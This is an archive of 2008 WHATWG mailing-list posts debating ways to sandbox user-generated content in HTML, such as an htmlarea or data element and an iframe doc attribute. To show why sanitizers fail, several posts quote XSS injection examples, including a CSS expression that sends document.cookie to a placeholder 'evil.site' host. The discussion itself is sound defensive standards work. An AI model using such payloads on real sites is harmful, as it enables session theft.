css-styles to tags. Example bbCode tag [color=blue]Blue text[/color] would
be translated to <span style='color: blue'>Blue text</span>. In this example
an exploit could be [color=expression(maliciousCode())]Text[/color]. When
the algorithm was made, it was considered secure, since no script could ever
be executed inside a style attribute. With the invention of expressions and
behaviours etc the knowledge required by web developers are ever increasing,
and web developers have to review all old code whenever new technologies
emerge - because what once was secure suddenly is not secure anymore.


One solution:

<htmlarea>User generated content</htmlarea>


No scripts would ever be allowed to be executed inside this tag. Malicious
users could potentially submit "</htmlarea> unsafe content <htmlarea>" and
get around this. There are as I can see it two solutions to this:

User generated content inside the tag must be escaped using html entities
(but still rendered as html by the user agent), or the author must prevent
users from submitting the string "</htmlarea>" and all possible variations
of the tag.

If the first solution is used, then browsers should display a
strong security warning if unescaped content is seen between htmlarea-tags
on a website (to educated web developers).


A sidenote: The tag name I chose is based on the <textarea>-tags which
should also be entity escaped to prevent users from inserting the text
</textarea>.  This currently breaks a lot of web pages - so perhaps a strong
security warning is in place if unescaped content is found after the
textarea start tag also?


-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/0a512bf9/attachment-0001.htm>

From frode at seria.no  Mon Jun 16 21:09:55 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 06:09:55 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
Message-ID: <31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>

 Hi! I am a new member of this mailing list, and I wish to contribute with a
couple of specific requirements that I believe should be discussed and
perhaps implemented in the final specification. I am unsure if this is the
correct place to post my ideas (or if my ideas are even new), but if it is
not, then I am sure somebody will instruct me. :) One person told me that
the specification was finished and no new features would be added from now
on - but hopefully that is not true.


The challenge:

More and more websites have features where users can contribute with user
generated content - often in the form of audio, video, images
or wiki-articles. An older type of content contribution is normal text such
as posts in a discussion forum, a mailing list such as this and comments on
blog articles.

A major challenge for many web developers is validating "untrusted" content
such as the message body of a blog comment. Unless the developer has a
flawless and future proof algorithm for ensuring that the message body does
not contain any script, web developers have to resort to text only - or
bbCode-style markup languages to allow users to post text content with
richer formatting. If the developer wants to enable rich formatting using
bbCode, it also needs fairly advanced methods of ensuring that no scripts
are executed. Consider this bbCode example:
[img]some_image.jpg'onmouseover=maliciousScript()[/img]. The bbCode parser
must ensure that there is absolutely no method of injecting scripts in user
posts - and that is very difficult when at the same time there exists
parsing errors in browsers. The example could easily be validating by not
allowing apostrophes or quotation marks in urls - but then we have multiple
entities that could be used: &apos; or &#39;. To make matters worse, some
browsers parse &#39 which is an incomplete html entity and all these
variations must be considered by the bbCode parser author.

Another problem which makes future proofing this type of security is that
standards evolve. A few years ago you could safely allow users to apply
css-styles to tags. Example bbCode tag [color=blue]Blue text[/color] would
be translated to <span style='color: blue'>Blue text</span>. In this example
an exploit could be [color=expression(maliciousCode())]Text[/color]. When
the algorithm was made, it was considered secure, since no script could ever
be executed inside a style attribute. With the invention of expressions and
behaviours etc the knowledge required by web developers are ever increasing,
and web developers have to review all old code whenever new technologies
emerge - because what once was secure suddenly is not secure anymore.


One solution:

<htmlarea>User generated content</htmlarea>


No scripts would ever be allowed to be executed inside this tag. Malicious
users could potentially submit "</htmlarea> unsafe content <htmlarea>" and
get around this. There are as I can see it two solutions to this:

User generated content inside the tag must be escaped using html entities
(but still rendered as html by the user agent), or the author must prevent
users from submitting the string "</htmlarea>" and all possible variations
of the tag.

If the first solution is used, then browsers should display a
strong security warning if unescaped content is seen between htmlarea-tags
on a website (to educated web developers).


A sidenote: The tag name I chose is based on the <textarea>-tags which
should also be entity escaped to prevent users from inserting the text
</textarea>.  This currently breaks a lot of web pages - so perhaps a strong
security warning is in place if unescaped content is found after the
textarea start tag also?


-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/a38ade1f/attachment-0001.htm>

From andy at entai.co.uk  Mon Jun 16 21:28:51 2008
From: andy at entai.co.uk (Andrew Sidwell)
Date: Tue, 17 Jun 2008 05:28:51 +0100
Subject: [whatwg] [editorial] Tokeniser "tag name" state order
Message-ID: <48573D83.7090604@entai.co.uk>

http://www.whatwg.org/specs/web-apps/current-work/multipage/tokenisation.html#tag-name0

The "tag name" state has the "EOF" entry in a weird place -- in other
states, "EOF" comes before "Anything else", but in this one it comes
between "U+0041 LATIN CAPITAL LETTER A through to U+005A LATIN CAPITAL
LETTER Z" and "U+002F SOLIDUS (/)".  Putting it in the same place as it
is in other states would be nice.

A



From frode at seria.no  Tue Jun 17 03:43:32 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 12:43:32 +0200
Subject: [whatwg] Restricting style inheritance
Message-ID: <31fb000f0806170343g64d9ef77gf8e9b928c74f99be@mail.gmail.com>

I am unsure if this applies to HTML (or rather CSS). From the archives I see
that Dean Edwards proposed some <reset></reset> element that was supposed to
reset styles to the page default style. I have another proposal

<div style='inherit: nothing'></div>

This would effectively make everything inside the div have the browser
default stylesheet. Other values for the inherit css style could be:

<div style='inherit: font-weight font-family font-size;'></div>

e.g. any css attribute on a space separated list. This list should also
allow short hand attributes such as "background" and "font" but be expanded.
Note that this is a "white list approach" - which I think is far better than
the black list approach that we need to use today: style='line-height: 10px;
font-family: Arial' etc is a black list and not very maintainable.

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no
-Think about the environment. Do not print this e-mail unless you really
need to.
-Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080617/da047568/attachment-0001.htm>

From annevk at opera.com  Tue Jun 17 04:42:59 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Tue, 17 Jun 2008 13:42:59 +0200
Subject: [whatwg] Restricting style inheritance
In-Reply-To: <31fb000f0806170343g64d9ef77gf8e9b928c74f99be@mail.gmail.com>
References: <31fb000f0806170343g64d9ef77gf8e9b928c74f99be@mail.gmail.com>
Message-ID: <op.ucv5hxgf64w2qv@annevk-t60.oslo.opera.com>

On Tue, 17 Jun 2008 12:43:32 +0200, Frode B?rli <frode at seria.no> wrote:
> I am unsure if this applies to HTML (or rather CSS). From the archives I  
> see that Dean Edwards proposed some <reset></reset> element that was  
> supposed to reset styles to the page default style. I have another  
> proposal
>
> <div style='inherit: nothing'></div>

That would be CSS. I suggest you subscribe to the www-style at w3.org mailing  
list and give your feedback there.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From annevk at opera.com  Tue Jun 17 04:50:57 2008
From: annevk at opera.com (Anne van Kesteren)
Date: Tue, 17 Jun 2008 13:50:57 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
Message-ID: <op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>

On Tue, 17 Jun 2008 06:09:55 +0200, Frode B?rli <frode at seria.no> wrote:
> Hi! I am a new member of this mailing list, and I wish to contribute  
> with a couple of specific requirements that I believe should be  
> discussed and
> perhaps implemented in the final specification. I am unsure if this is  
> the correct place to post my ideas (or if my ideas are even new), but if  
> it is not, then I am sure somebody will instruct me. :) One person told  
> me that
> the specification was finished and no new features would be added from  
> now on - but hopefully that is not true.

That is actually true. However, sandboxing has been proposed in the past  
and is therefore still considered in scope. (Unless of course we decide  
it's out of scope, but given the sandboxing features already in the  
specification, I expect that to be not the case.)


> One solution:
>
> <htmlarea>User generated content</htmlarea>

As you note this solution has significant issues. Besides inserting  
</htmlarea> it would also allow execution of scripts in legacy user agents  
and is therefore not really backwards compatible.

I believe the idea to deal with this is to add another attribute to  
<iframe>, besides sandbox="" and seamless="" we already have for  
sandboxing. This attribute, doc="", would take a string of markup where  
you would only need to escape the quotation character used (so either ' or  
"). The fallback for legacy user agents would be the src="" attribute.


-- 
Anne van Kesteren
<http://annevankesteren.nl/>
<http://www.opera.com/>


From frode at seria.no  Tue Jun 17 06:05:09 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 15:05:09 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
Message-ID: <31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>

I have been reading up on past discussions on sandboxing content, and
I feel that it is generally agreed on that there should be some
mechanism for marking content as "user generated". The discussion
mainly appears to be focused on implementation. Please read my
implementation notes at the end of this message on how we can include
this function safely for both HTML 4 and HTML 5 browsers, and still
allow HTML 4 browsers to function properly.


My main arguments for having this feature (in one form or another) in
the browser is:

- It is future proof. Changes to browsers (for example adding
expression support to css) will never again require old sanitizers to
be updated.
- It does not require much skill and effort from the web developer to
safely sanitize user content.
- Security bugs are fixed by browser vendors, and not by each web developer.


In the discussions I find that backward compatability is absolutely
the most important issue. Second is that it must be easy for web
developers to use the features.

The suggested solution of using an attribute on an <iframe> element
for storing the user generated content has several problems;

1: The use of src= as a fallback means that style information will be
lost and stylesheets must be loaded again.

2: The use of src= yields problems with iframe heights (since the
src-url must be hosted on another server javascript cannot fix this)
and HTML 4 browsers have no other method of adjusting the iframe
height according to the content.

3: If you have a page that lists 60 comments on a blog, then the user
agent would have to contact the server 60 times to fetch each comment.
This again means that perl/php scripts have to be invoked 60 times for
one page view - that is 61 separate database connections and session
initializations.

4: For the fallback method of using src= for HTML 4 browsers to
actually work, the fallback documents must be hosted on a separate
domain name. This again means that a website using HTTPS must purchase
and maintain two certificates.

I do not believe this solution will ever be used.


My solution:

If we add a new element <htmlarea></htmlarea>, old browsers will run
scripts, while new browsers will stop scripts and this is a major
problem.

If HTML 5 browsers require everything between <htmlarea></htmlarea> to
be html entity escaped, that is < and > must be replaced with &lt; and
&gt; respectively. If this is not done, HTML 5 browsers will issue a
severe warning and refuse to display the page. Developers will quickly
learn.

HTML 4 browsers will never run scripts (since it will only see plain
text). HTML 5 browsers will display rich text. It would be completely
secure for both HTML 4 and HTML 5 browsers.

A simple Javascript could clean up the HTML markup for HTML 4 browsers..


>  I believe the idea to deal with this is to add another attribute to <iframe>, besides sandbox="" and seamless="" we already have for sandboxing. This attribute, doc="", would take a string of markup where you would only need to escape the quotation character used (so either ' or "). The fallback for legacy user agents would be the src="" attribute.

-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From giecrilj at stegny.2a.pl  Tue Jun 17 09:18:55 2008
From: giecrilj at stegny.2a.pl (=?US-ASCII?Q?Kristof_Zelechovski?=)
Date: Tue, 17 Jun 2008 18:18:55 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com><31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com><op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
Message-ID: <C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>

1.  Please elaborate how an extension of CSS would require a sanitizer
update.
2.  Please explain why using a dedicated tag with double parsing is easier
for a Web developer than putting the code in an attribute.
3.  Your quoting solution would not cause legacy browsers to show plain
text; they would show HTML code, which is probably much worse than showing
plain text.  If you mean JavaScript can be used to extract plain text, I
doubt it will be simple; there are probably lots of junctions where this
procedure can derail.
4.  Please explain why you consider network efficiency for legacy user
agents essential.  I believe that the correlation between efficiency and
compatibility is negative in general.  If that causes server overload, the
server can discriminate content depending on the user agent; this is a
temporary solution to an edge case and it should probably be acceptable.
Besides, a blog page with 60 comments on it is rather hard to render and
read so you should probably consider other display options in this case.
5.  I am not sure why IFRAME content must be HTTP-secured if the containing
page is.  The specification does not impose such a restriction AFAIK.  And,
if you need to go secure, do not allow scribbling in the first place, right?
Please take these points as a challenge, not as an attempt to let you down.
I personally think your idea is worth considering.
Chris

-----Original Message-----
From: whatwg-bounces at lists.whatwg.org
[mailto:whatwg-bounces at lists.whatwg.org] On Behalf Of Frode Borli
Sent: Tuesday, June 17, 2008 3:05 PM
To: whatwg at lists.whatwg.org
Subject: Re: [whatwg] Sandboxing to accommodate user generated content.

I have been reading up on past discussions on sandboxing content, and
I feel that it is generally agreed on that there should be some
mechanism for marking content as "user generated". The discussion
mainly appears to be focused on implementation. Please read my
implementation notes at the end of this message on how we can include
this function safely for both HTML 4 and HTML 5 browsers, and still
allow HTML 4 browsers to function properly.


My main arguments for having this feature (in one form or another) in
the browser is:

- It is future proof. Changes to browsers (for example adding
expression support to css) will never again require old sanitizers to
be updated.
- It does not require much skill and effort from the web developer to
safely sanitize user content.
- Security bugs are fixed by browser vendors, and not by each web developer.


In the discussions I find that backward compatability is absolutely
the most important issue. Second is that it must be easy for web
developers to use the features.

The suggested solution of using an attribute on an <iframe> element
for storing the user generated content has several problems;

1: The use of src= as a fallback means that style information will be
lost and stylesheets must be loaded again.

2: The use of src= yields problems with iframe heights (since the
src-url must be hosted on another server javascript cannot fix this)
and HTML 4 browsers have no other method of adjusting the iframe
height according to the content.

3: If you have a page that lists 60 comments on a blog, then the user
agent would have to contact the server 60 times to fetch each comment.
This again means that perl/php scripts have to be invoked 60 times for
one page view - that is 61 separate database connections and session
initializations.

4: For the fallback method of using src= for HTML 4 browsers to
actually work, the fallback documents must be hosted on a separate
domain name. This again means that a website using HTTPS must purchase
and maintain two certificates.

I do not believe this solution will ever be used.


My solution:

If we add a new element <htmlarea></htmlarea>, old browsers will run
scripts, while new browsers will stop scripts and this is a major
problem.

If HTML 5 browsers require everything between <htmlarea></htmlarea> to
be html entity escaped, that is < and > must be replaced with &lt; and
&gt; respectively. If this is not done, HTML 5 browsers will issue a
severe warning and refuse to display the page. Developers will quickly
learn.

HTML 4 browsers will never run scripts (since it will only see plain
text). HTML 5 browsers will display rich text. It would be completely
secure for both HTML 4 and HTML 5 browsers.

A simple Javascript could clean up the HTML markup for HTML 4 browsers..


>  I believe the idea to deal with this is to add another attribute to
<iframe>, besides sandbox="" and seamless="" we already have for sandboxing.
This attribute, doc="", would take a string of markup where you would only
need to escape the quotation character used (so either ' or "). The fallback
for legacy user agents would be the src="" attribute.

-- 
Best regards / Med vennlig hilsen
Frode Borli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need
to.

Tenk miljo. Ikke skriv ut denne e-posten dersom det ikke er nodvendig.



From bobauger at gmail.com  Tue Jun 17 09:53:20 2008
From: bobauger at gmail.com (Bob Auger)
Date: Tue, 17 Jun 2008 09:53:20 -0700
Subject: [whatwg] Sandboxing to accommodate user generated content.
Message-ID: <e0b34e3c0806170953r47e92a3fu31b4d01e877181b6@mail.gmail.com>

Hello,

I'm new to the list and have joined in response to this discussion on
html security changes.

>>I have been reading up on past discussions on sandboxing content, and I feel that it is generally agreed on that there should be some mechanism for marking content as "user
>>generated". The discussion mainly appears to be focused on implementation. Please read my implementation notes at the end of this message on how we can include this
>>function safely for both HTML 4 and HTML 5 browsers, and still allow HTML 4 browsers to function properly.
>>
>>
>> In the discussions I find that backward compatability is absolutely the most important issue. Second is that it must be easy for web developers to use the features.
>>
>> The suggested solution of using an attribute on an <iframe> element for storing the user generated content has several problems;
>>
>> 1: The use of src= as a fallback means that style information will be lost and stylesheets must be loaded again.
>>
>> 2: The use of src= yields problems with iframe heights (since the src-url must be hosted on another server javascript cannot fix this) and HTML 4 browsers have no other method of
>> adjusting the iframe height according to the content.
>>
>> My solution:

>> If we add a new element <htmlarea></htmlarea>, old browsers will run scripts, while new browsers will stop scripts and this is a major problem.
>>
>> If HTML 5 browsers require everything between <htmlarea></htmlarea> to be html entity escaped, that is < and > must be replaced with &lt; and &gt; respectively. If this is not
>> done, HTML 5 browsers will issue a severe warning and refuse to display the page. Developers will quickly learn.
>>
>> HTML 4 browsers will never run scripts (since it will only see plain text). HTML 5 browsers will display rich text. It would be completely secure for both HTML 4 and HTML 5
>> browsers.
>>
>> A simple Javascript could clean up the HTML markup for HTML 4 browsers..

I've also been having side discussions with a few people regarding the
ability for a website owner to mark sections as data rather than code
(where everything lies now).
Your <htmlarea> tag idea is a good one (maybe change the tag to <data>
just a nitpick) however you don't address the use case of the
following

<data>

<user supplied input>

</data>

If the user injects </data> then game over.  A solution I discovered
for this problem (others I'm sure as well that aren't speaking)
borrows from the defenses of cross-site request forgery (CSRF) where a
non guessable token is used. Take the following example

<data id="GUID">
</data>
</data id="<GUID>">

GUID would be a temporary GUID value such as
'F9968C5E-CEB2-4faa-B6BF-329BF39FA1E4' that would be tied to the user
session. An attacker would be unable to break out of a <data> tag due
to the fact that they couldn't guess the closing ID value. This is
something that could be built into a web framework (JSP tag/PHP
function/asp.net component) that could handle the token generation
portion to assist with adoption.

A few notes on this approach

- <data> (or <htmlarea> whatever you call it) can not be nested.
- All content inside data tags would need to be treated as text or
handled as HTML entity encoded values before processing


>>  I believe the idea to deal with this is to add another attribute to <iframe>, besides sandbox="" and seamless="" we already have for sandboxing. This attribute, doc="", would take
>> a string of markup where you would only need to escape the quotation character used (so either ' or "). The fallback for legacy user agents would be the src="" attribute.


To take this a step further there may be situations where user content
is reflected inside of HTML tags in the following manner such as
'<a href="<user generated value">foo</a>'. For situations like this an
additional attribute (along the lines of what you propose) could be
added to this tag (or any tag for that matter)
to instruct the browser that no script/html can execute.

<a sandbox="true"  href="javascript:alert(document.cookie")>asd</a>
<a sandbox="true" href="<injected value>">asd</a>  (injected value  "
onload="javascript:alert('wooot')" foo="bar)

In this example the developer would allow user content to be inserted
into the href value as desired, however disallow script injection as
well as breaking out of the html attribute by the specification of
this tag (i.e. everything inside each attribute is treated as HTML
entity data/text).

My 0.04.

Regards,
- Robert Auger
http://www.webappsec.org/


From frode at seria.no  Tue Jun 17 10:45:06 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 19:45:06 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <e0b34e3c0806170953r47e92a3fu31b4d01e877181b6@mail.gmail.com>
References: <e0b34e3c0806170953r47e92a3fu31b4d01e877181b6@mail.gmail.com>
Message-ID: <31fb000f0806171045ied3a8e9t1d0d222c59ef0f66@mail.gmail.com>

> I've also been having side discussions with a few people regarding the
> ability for a website owner to mark sections as data rather than code
> (where everything lies now).
> Your <htmlarea> tag idea is a good one (maybe change the tag to <data>
> just a nitpick) however you don't address the use case of the
> following
>
> <data>
>
> <user supplied input>
>
> </data>


I have considered your idea (below) but found that it would not allow
efficient server side caching, which often is needed. If instead all
html inside <data></data> must be escaped like this:

<data>

&lt;user supplied input&gt;

</data>

Then this will be secure both for HTML 4 and HTML 5 browsers. HTML 4
browsers will display html, while HTML 5 browsers will display
correctly formatted code. A simple javascript like this (untested)
would make the data tags readable for HTML 4 browsers:

var els = document.getElementsByTagName("DATA");
for(e in els) els[e].innerHTML =
els[e].innerHTML.replace(/<&#91;^>&#93;*>/g, "").replace(/\n/g,
"<br>");


A problem with this approach is that developers might forget to escape
tags, therefore I think browsers should display a security warning
message if the character < or > is encountered inside a <data> tag.


> If the user injects </data> then game over.  A solution I discovered
> for this problem (others I'm sure as well that aren't speaking)
> borrows from the defenses of cross-site request forgery (CSRF) where a
> non guessable token is used. Take the following example
>
> <data id="GUID">
> </data>
> </data id="<GUID>">
>
> GUID would be a temporary GUID value such as
> 'F9968C5E-CEB2-4faa-B6BF-329BF39FA1E4' that would be tied to the user
> session. An attacker would be unable to break out of a <data> tag due
> to the fact that they couldn't guess the closing ID value. This is

*snip*


>>>  I believe the idea to deal with this is to add another attribute to <iframe>, besides sandbox="" and seamless="" we already have for sandboxing. This attribute, doc="", would take
>>> a string of markup where you would only need to escape the quotation character used (so either ' or "). The fallback for legacy user agents would be the src="" attribute.
>
> To take this a step further there may be situations where user content
> is reflected inside of HTML tags in the following manner such as
> '<a href="<user generated value">foo</a>'. For situations like this an
> additional attribute (along the lines of what you propose) could be
> added to this tag (or any tag for that matter)
> to instruct the browser that no script/html can execute.
>
> <a sandbox="true"  href="javascript:alert(document.cookie")>asd</a>
> <a sandbox="true" href="<injected value>">asd</a>  (injected value  "
> onload="javascript:alert('wooot')" foo="bar)


I like this better than a separate tag yes. <div sandbox="1"></div> or
<div content="untrusted"></div>


From frode at seria.no  Tue Jun 17 11:33:33 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Tue, 17 Jun 2008 20:33:33 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>
	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>
	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
	<C56783AC6D164ED38B40AB2992ABBB66@POCZTOWIEC>
Message-ID: <31fb000f0806171133le949b04v8c7f55a7cc4623c6@mail.gmail.com>

> 1.  Please elaborate how an extension of CSS would require a sanitizer
> update.

In the year 1998: A sanitizer algorithm works perfectly for all
existing methods of adding scripts. It uses a white list, which allows
only certain tags and attributes. Among the allowed attributes is
colspan, rowspan and style - since the web developer wants users to be
able to build tables and style them properly.

In the year 1999 Internet Explorer 5.0 is introduced, and it
introduces a new invention; CSS-expressions. Suddenly the formerly
secure webapplication is no longer secure. A user adds the following
code, and it passes the sanitizer easily:

<span style='color: blue; width: expression(document.write("<img
src=http://evil.site/"+document.cookie));'></span>

I am absolutely certain that there will be other, brilliant inventions
in the future which will break sanitizers - ofcourse we can't know
which inventions today - but the sandboxing means that browser vendors
in the future can prevent the above scenario.

> 2.  Please explain why using a dedicated tag with double parsing is easier
> for a Web developer than putting the code in an attribute.

1. The code will still work in Dreamwaver and similar tools.
2. It is not a totally new way of doing things (we already escape
content that are put into <textarea> in the exact same way as I
suggest we put content into the sandbox). Putting a 100 KB piece of
user submitted content into an attribute will feel weird - and perhaps
even break current parsers.
3. Web developers do not have to create seperate scripts to cater for
HTML 4 browser (so that the <iframe src=> fallback will work).
4. Web developers do not have to create two separate websites (on
different domains) that use the same database to make sure that cross
site scripting can't happen from the iframe to the parent document. If
the web developer simply place a separate script on the same host -
then the fallback will have no security at all.
5. The fallback requires the web developer to know the visible size of
the content in advance. HTML 4 browsers do not support any methods of
resizing the <iframe> according to the content, when the content of
the iframe is from a different domain.


> 3.  Your quoting solution would not cause legacy browsers to show plain
> text; they would show HTML code, which is probably much worse than showing
> plain text.  If you mean JavaScript can be used to extract plain text, I
> doubt it will be simple; there are probably lots of junctions where this
> procedure can derail.

I am pretty sure that including a small script similar to this into
the main document will make the content very readable, although plain
text:

<script>
var els = document.getElementsByTagName("DATA");
for(e in els) els[e].innerHTML =
els[e].innerHTML.replace(/<&#91;^>&#93;*>/g,
"").replace(/\n/g,"<br>");
</script>

I can guarantee you that a few hours work I have a very good script
that does this very well.

> 4.  Please explain why you consider network efficiency for legacy user
> agents essential.  I believe that the correlation between efficiency and
> compatibility is negative in general.

It is not the network efficiency for the user agens I am worried about
- it is the server side of things that will be the problem. If  the
server has to do handle 20 separate dynamic requests just to display a
single page view then that is unacceptable - and the method will never
be used by bigger websites simply because it is not scalable. In fact,
it would have already been done if it was a viable option. Please
consider my answer to your question number two as well.

> If that causes server overload, the
> server can discriminate content depending on the user agent; this is a
> temporary solution to an edge case and it should probably be acceptable.

That is unacceptable. Major websites must accommodate at least 98 % of
its user base at any time, and to promote user agent checking on the
server side is a major issue for me, and most likely for most other
web developers that work on a per project basis. It would require me
to review already launched sites regularly and is hardly efficient use
of my labour.

> Besides, a blog page with 60 comments on it is rather hard to render and
> read so you should probably consider other display options in this case.

I am extremely against making assumptions such as "a blog page with 60
comments on is rather hard to read" so it will never be a problem. I
prefer scrolling before clicking "next page" any time. If there is a
choice to display 100 comments instead of 10 then I select 100
comments. Also user generated content might be single line comments,
or even just a list of single words.

> 5.  I am not sure why IFRAME content must be HTTP-secured if the containing
> page is.  The specification does not impose such a restriction AFAIK.  And,
> if you need to go secure, do not allow scribbling in the first place, right?

1. An insecure iframe in a secure document will give you security
warnings from the browser (There are insecure elements on this page,
do you want to display them?).
2. Mixing secure and insecure communications makes having the secure
channel pointless.
3. It is extremely dangerous to assume that nobody in the future will
ever need to have secure communications with user generated content.



Best regards, Frode B?rli - Seria.no

From lachlan.hunt at lachy.id.au  Tue Jun 17 13:11:32 2008
From: lachlan.hunt at lachy.id.au (Lachlan Hunt)
Date: Tue, 17 Jun 2008 22:11:32 +0200
Subject: [whatwg] Sandboxing to accommodate user generated content.
In-Reply-To: <31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
References: <31fb000f0806162106i52dd2cefsfdfa014c12094746@mail.gmail.com>	<31fb000f0806162109h8cc9a72w3db047749a7764a1@mail.gmail.com>	<op.ucv5u7vx64w2qv@annevk-t60.oslo.opera.com>
	<31fb000f0806170605o4bcbe2b9nb4ebd620d18ed069@mail.gmail.com>
Message-ID: <48581A74.4030707@lachy.id.au>

Frode B?rli wrote:
> I have been reading up on past discussions on sandboxing content, and
> I feel that it is generally agreed on that there should be some
> mechanism for marking content as "user generated". The discussion
> mainly appears to be focused on implementation. Please read my
> implementation notes at the end of this message on how we can include
> this function safely for both HTML 4 and HTML 5 browsers, and still
> allow HTML 4 browsers to function properly.
> 
> My main arguments for having this feature (in one form or another) in
> the browser is:
> 
> - It is future proof. Changes to browsers (for example adding
> expression support to css) will never again require old sanitizers to
> be updated.

If the sanitiser uses a whitelist based approach that forbids everything 
by default, and then only allows known elements and attributes; and in 
the case of the style attribute, known properties and values that are 
safe, then that would also be the case.

> - It does not require much skill and effort from the web developer to
> safely sanitize user content.
> - Security bugs are fixed by browser vendors, and not by each web developer.

Note that sandboxing doesn't entirely remove the need for sanitising 
user generated content on the server, it's just an extra line of defence 
in case something slips through.

> The suggested solution of using an attribute on an <iframe> element
> for storing the user generated content has several problems;
> 
> 1: The use of src= as a fallback means that style information will be
> lost and stylesheets must be loaded again.

This is not a major problem.  If it uses the same stylesheet, which can 
be cached by the browser, then at worst it results in a 304 Not Modified 
response.

> 2: The use of src= yields problems with iframe heights (since the
> src-url must be hosted on another server javascript cannot fix this)
> and HTML 4 browsers have no other method of adjusting the iframe
> height according to the content.

In recent browsers that support cross-document messaging (Opera 9, 
Safari 3, Firefox 3 and IE 8), you could include a script within the 
comment page that calculates its own height and sends a message to the 
parent page with the info.  In older browsers, just set the height to a 
reasonable minimum and let the user scroll.  Sure, it's not perfect, but 
it's called graceul degradation.

> 3: If you have a page that lists 60 comments on a blog, then the user
> agent would have to contact the server 60 times to fetch each comment.
> This again means that perl/php scripts have to be invoked 60 times for
> one page view - that is 61 separate database connections and session
> initializations.

You could always concatenate all of the comments into a single file, 
reducing it down to 1 request.

> 4: For the fallback method of using src= for HTML 4 browsers to
> actually work, the fallback documents must be hosted on a separate
> domain name. This again means that a website using HTTPS must purchase
> and maintain two certificates.

I don't see that as a show stopper.

> My solution:
> 
> If we add a new element <htmlarea></htmlarea>, old browsers will run
> scripts, while new browsers will stop scripts and this is a major
> problem.
> 
> If HTML 5 browsers require everything between <htmlarea></htmlarea> to
> be html entity escaped, that is < and > must be replaced with &lt; and
> &gt; respectively. If this is not done, HTML 5 browsers will issue a
> severe warning and refuse to display the page. Developers will quickly
> learn.

Draconian error handling is something we really want to avoid, 
particularly when the such an error can be triggered by failing to 
handle user generated content properly.

> HTML 4 browsers will never run scripts (since it will only see plain
> text). HTML 5 browsers will display rich text. It would be completely
> secure for both HTML 4 and HTML 5 browsers.
> 
> A simple Javascript could clean up the HTML markup for HTML 4 browsers..

